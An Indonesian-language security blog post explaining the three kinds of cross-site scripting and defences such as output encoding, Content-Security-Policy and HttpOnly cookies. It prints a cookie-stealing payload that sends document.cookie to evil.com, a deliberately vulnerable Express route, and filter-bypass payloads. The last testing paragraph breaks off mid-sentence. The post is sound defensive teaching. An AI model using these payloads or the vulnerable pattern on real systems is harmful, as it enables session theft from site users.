arrow_backKembali ke catatan lapangan
WEB SECURITY Dipublikasikan 9 Aug 2026

Cross-Site Scripting: Mengapa XSS Masih Berbahaya di 2024

Penjelasan praktis tentang reflected, stored, dan DOM-based XSS, cara penyerang mengeksploitasinya, dan cara benar-benar menghentikannya.

XSS sudah ada di OWASP Top 10 selama dua dekade dan masih menjadi salah satu hal pertama yang diperiksa seorang pentester. Bugnya sederhana untuk dijelaskan dan menyebalkan untuk ditutup sepenuhnya: penyerang membuat JavaScript mereka berjalan di browser korban dengan asal situs Anda. Begitu itu terjadi, mereka bisa membaca cookie, memalsukan permintaan, atau sekadar menulis ulang halaman di depan pengguna.

Tiga varian

Reflected XSS adalah serangan tautan phishing klasik. Halaman pencarian mengambil ?q= dari URL dan mencetaknya langsung ke HTML tanpa encoding. Kirim seseorang tautan seperti https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> dan jika mereka mengkliknya saat masuk, cookie sesi mereka masuk ke penyerang.

Stored XSS lebih buruk karena tidak memerlukan tautan sama sekali. Bidang komentar, bio profil, deskripsi tiket dukungan — di mana pun input pengguna disimpan dan kemudian dirender ke pengguna lain. Posting payload sekali dan setiap pengunjung yang melihat halaman itu terkena, tidak perlu rekayasa sosial.

DOM-based XSS hidup sepenuhnya dalam kode sisi klien. Server tidak pernah melihat payload berbahaya; ini adalah JavaScript membaca sesuatu seperti location.hash atau document.referrer dan mendorongnya ke innerHTML atau eval(). Yang ini membingungkan orang karena logging sisi server terlihat benar-benar bersih.

Dari mana asalnya

Sebagian besar bug XSS bermuara pada satu kesalahan: memperlakukan data yang tidak terpercaya sebagai markup atau kode yang terpercaya. Sink umum yang harus diperhatikan dalam JavaScript: innerHTML, outerHTML, document.write, eval, setTimeout dengan argumen string, dan .html() jQuery. Di sisi server, mesin template yang tidak auto-escape secara default (concatenation string mentah ke HTML) adalah pelakunya yang biasa.

Contoh cepat dunia nyata: aplikasi Node/Express yang melakukan

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

memiliki reflected XSS segera. req.query.name masuk langsung ke respons tanpa encoding sama sekali. Siapa pun yang mengakses /greet?name=<img src=x onerror=alert(document.domain)> membuktikannya dalam sekitar dua detik.

Memperbaikinya dengan benar

Context-aware output encoding adalah perbaikan sebenarnya, bukan solusi alternatif. Badan HTML, atribut HTML, string JavaScript, dan konteks URL masing-masing memerlukan aturan encoding yang berbeda — perpustakaan seperti Java Encoder OWASP, atau auto-escaping bawaan dalam mesin template seperti Jinja2, React JSX, atau Handlebars, menangani ini dengan benar. React khususnya mengescape konten teks secara default, itulah mengapa dangerouslySetInnerHTML dinamai demikian: itu adalah label peringatan.

Validasi input membantu tetapi tidak cukup sendiri. Denylisting tag <script> terus dilewati — <img src=x onerror=...>, <svg onload=...>, atau event handler pada hampir tag apa pun semuanya berfungsi. Allowlisting format yang diharapkan (regex email, ID numerik) baik sebagai lapisan sekunder, tetapi itu tidak menggantikan encoding output yang tepat.

Content-Security-Policy adalah lapisan defense-in-depth terkuat yang tersedia. Kebijakan seperti

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

memblokir skrip inline dan sumber skrip pihak ketiga kecuali secara eksplisit di-nonce atau di-allowlist, yang menghentikan sebagian besar payload XSS dari eksekusi bahkan jika mereka lolos encoding. Hindari unsafe-inline dan unsafe-eval dalam CSP produksi; mereka mengalahkan sebagian besar perlindungan.

Atur cookie dengan flag HttpOnly dan Secure sehingga bahkan XSS yang berhasil tidak bisa membaca cookie sesi secara langsung melalui document.cookie. Itu tidak menghentikan injeksi tetapi itu membatasi radius ledakan secara signifikan.

Mengujinya sendiri

Scanner aktif Burp Suite menangkap banyak reflected dan stored XSS secara otomatis, tetapi pengujian manual masih penting untuk kasus berbasis DOM. Tool seperti test suite DOMPurify sendiri atau sekadar grep codebase Anda untuk innerHTML = dan eval( akan mengungkap jumlah temuan yang mengejutkan dengan cepat. Untuk probe manual, payload `

Ditulis dengan bantuan AI, ditinjau dan dipublikasikan oleh Michal Pilch (CISSP), Korra Studio.

Siap melangkah lebih jauh?

Ini satu catatan dari basis pengetahuan Korra Studio — platform ini memasangkan setiap topik dengan bimbingan privat.

Mulai gratisarrow_forward